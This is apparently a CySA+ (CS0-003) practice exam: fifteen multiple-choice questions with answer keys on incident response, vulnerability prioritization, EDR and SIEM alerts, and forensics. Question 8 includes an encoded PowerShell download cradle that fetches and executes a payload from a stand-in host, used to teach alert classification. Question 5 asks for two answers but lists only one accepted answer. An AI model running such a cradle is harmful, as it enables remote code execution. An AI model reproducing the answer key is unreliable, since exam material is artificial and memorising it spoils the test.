CS0-003 Practice Test 25 — 15 Questions

Question 1

An organization's security team receives an alert about a potential ransomware infection on a critical server. The severity classification is 'high' because the server supports a production database. According to the incident response plan, which containment action should be taken first to minimize data loss?

Choose an answer to begin — your selection is scored in the full session.

Accepted Answer

Disconnect the server from the network.. Isolating the network connection prevents lateral movement and further encryption while preserving evidence for forensic analysis.

Answer

Reboot the server to clear the ransomware from memory.

Answer

Kill the ransomware process using task manager.

Answer

Create a full disk image of the server before any action.

Question 2

A vulnerability management team is prioritizing remediation of several vulnerabilities. They have access to EPSS scores and the CISA KEV catalog. Which factor should they consider FIRST when deciding which vulnerability to remediate?

Accepted Answer

The vulnerability listed in the CISA Known Exploited Vulnerabilities catalog. The CISA KEV catalog contains vulnerabilities that are actively exploited in the wild. These pose immediate risk and should be addressed before others, regardless of EPSS score or other factors.

Answer

The vulnerability with the highest base CVSS score

Answer

The vulnerability affecting the most critical asset

Answer

The vulnerability with the highest EPSS score

Question 3

A security analyst is performing dynamic analysis of a suspicious file in a sandbox. Which of the following observations is most indicative of ransomware behavior?

Accepted Answer

The file opens and overwrites documents with a new extension and drops a ransom note. Ransomware typically encrypts files and renames them with a new extension. Dropping a ransom note and leaving encrypted files is characteristic.

Answer

The file injects code into a legitimate process

Answer

The file creates a registry run key

Answer

The file attempts to connect to multiple external IPs

Question 4

An analyst is investigating a suspicious email attachment. The sandbox analysis shows that the document drops a binary that connects to an external IP on port 4444. Which network analysis tool is best suited to confirm if any internal hosts are communicating on that port?

Accepted Answer

NetFlow analyzer. NetFlow collects metadata about network flows, including destination IP and port, enabling analysts to query for all traffic on a specific port across the network.

Answer

tcpdump

Answer

nmap

Answer

Wireshark

Question 5

Which TWO of the following are best practices for distributing security reports to stakeholders?

Accepted Answer

Use encrypted email for sensitive reports. Encrypted email (e.g., using S/MIME or PGP) ensures that sensitive security reports are protected from unauthorized interception during transit, maintaining confidentiality and integrity as required by security best practices.

Answer

Post reports on a public website for easy access

Answer

Send reports via instant messaging without encryption

Answer

Print and leave reports in common areas

Question 6

A security team is implementing configuration management for a set of Linux servers in a non-DoD environment. They want to apply a security baseline that provides a balanced approach between security and operational efficiency. Which of the following would be most appropriate?

Accepted Answer

CIS Level 1 Benchmark. CIS Benchmarks offer two levels: Level 1 is intended for environments where usability is still a priority, and Level 2 is for high-security environments. For a non-DoD environment, CIS Level 1 is appropriate.

Answer

OWASP Top 10

Answer

CIS Level 2 Benchmark

Answer

STIG for Linux

Question 7

A security analyst is reviewing a vulnerability scan report and notices that a plugin output indicates a potential misconfiguration in a web server that allows directory listing. The analyst wants to verify this finding manually. Which of the following tools would be most appropriate to confirm the vulnerability?

Accepted Answer

Burp Suite. Burp Suite is a web application security testing tool that can be used to manually verify web vulnerabilities like directory listing by intercepting and modifying requests.

Answer

Metasploit

Answer

Wireshark

Answer

Nmap

Question 8

An EDR agent reports that the process 'svchost.exe' spawned 'powershell.exe' with the command line: 'powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4AMQAwAC8AcABhAHkAbABvAGEAZAAuAGUAeABlACcAKQA='. Which of the following is the most appropriate classification for this activity?

Accepted Answer

True positive - likely malicious activity using a LOLBin. The encoded command decodes to 'IEX(New-Object Net.WebClient).DownloadString('http://192.168.1.10/payload.exe')', which is a download cradle. Svchost.exe spawning PowerShell with such a command is highly suspicious and indicative of a true positive.

Answer

True positive - but only if the IP is confirmed malicious

Answer

False positive - encoded commands are used by system administrators

Answer

False positive - svchost.exe commonly launches PowerShell for legitimate tasks

Question 9

A security analyst is tuning a SIEM correlation rule that generates alerts when a single user logs into more than 10 workstations within 5 minutes. The rule is producing excessive false positives due to service accounts performing automated tasks. Which of the following is the best tuning approach to reduce false positives while still detecting potential lateral movement?

Accepted Answer

Add an exception for known service account names. Excluding known service accounts from the rule reduces false positives while still detecting lateral movement by user accounts.

Answer

Change the time window to 10 minutes

Answer

Increase the threshold to 20 workstations

Answer

Disable the rule and rely on manual log review

Question 10

A security analyst is reviewing a SIEM alert indicating a high number of failed authentication attempts from a single IP address against multiple user accounts. The analyst checks the logs and finds the IP belongs to a known vulnerability scanner used by the internal security team. How should the analyst classify this alert?

Accepted Answer

False positive - authorized activity. The alert is triggered by authorized activity from a known internal scanner, so it is a false positive. The SIEM rule should be tuned to exclude this scanner or reduce its severity.

Answer

True positive - unauthorized access attempt

Answer

True positive - lateral movement

Answer

False negative - missed detection

Question 11

A security analyst is investigating an alert from the EDR tool indicating that a process named 'powershell.exe' was launched with a parent process 'winword.exe'. The user's workstation had received a phishing email earlier that day. Which type of attack does this likely indicate?

Accepted Answer

Living off the land binary (LOLBin) abuse. The parent-child relationship of winword.exe spawning powershell.exe is a classic indicator of a malicious macro executing PowerShell code, often used in phishing attacks.

Answer

Process hollowing

Answer

Injection of code into explorer.exe

Answer

Scheduled task creation

Question 12

An analyst needs to capture the contents of volatile memory from a Windows system suspected of being compromised. Which tool should the analyst use to acquire a memory image?

Accepted Answer

WinPmem. WinPmem is a memory acquisition tool for Windows systems, capable of capturing RAM contents for analysis.

Answer

LiME

Answer

FTK Imager

Answer

dd

Question 13

After containing a malware outbreak, the incident response team performs static malware analysis on a suspicious executable. Which of the following artifacts would be most helpful in creating a YARA rule to detect variants of the malware?

Accepted Answer

The import table showing API calls like WriteProcessMemory and CreateRemoteThread. Import table analysis reveals API calls and DLLs used by the malware, which are often consistent across variants and useful for detection.

Answer

The creation timestamp of the file

Answer

The file size of the executable

Answer

The packer used to obfuscate the executable

Question 14

An incident responder needs to collect forensic evidence from a server that was attacked. The evidence includes network connections, running processes, memory contents, and disk data. According to the order of volatility, which piece of evidence should the responder collect FIRST?

Accepted Answer

Network connections. The order of volatility dictates that the most volatile data (e.g., CPU registers, network connections) should be collected first. Network connections change rapidly.

Answer

Memory contents

Answer

Running processes

Answer

Disk data

Question 15

A security analyst is reviewing the results of a vulnerability scan and notices that several vulnerabilities have high CVSS scores but low EPSS scores. The analyst also cross-references the CISA Known Exploited Vulnerabilities (KEV) catalog and finds that none of these vulnerabilities are listed. Which approach should the analyst take when prioritizing remediation?

Accepted Answer

Prioritize based on EPSS scores and KEV status, but also consider business context.. EPSS predicts the likelihood of exploitation, and KEV lists vulnerabilities known to be exploited in the wild. High CVSS but low EPSS and not in KEV suggests the vulnerability may be severe but unlikely to be exploited currently. However, business context such as asset criticality and exposure should be considered; if the asset is critical and exposed, remediation should still be prioritized despite low exploitation likelihood.

Answer

Remediate vulnerabilities with high CVSS scores only if they are internet-facing.

Answer

Remediate only vulnerabilities found in the KEV catalog.

Answer

Remediate all vulnerabilities with CVSS scores above 9.0 immediately.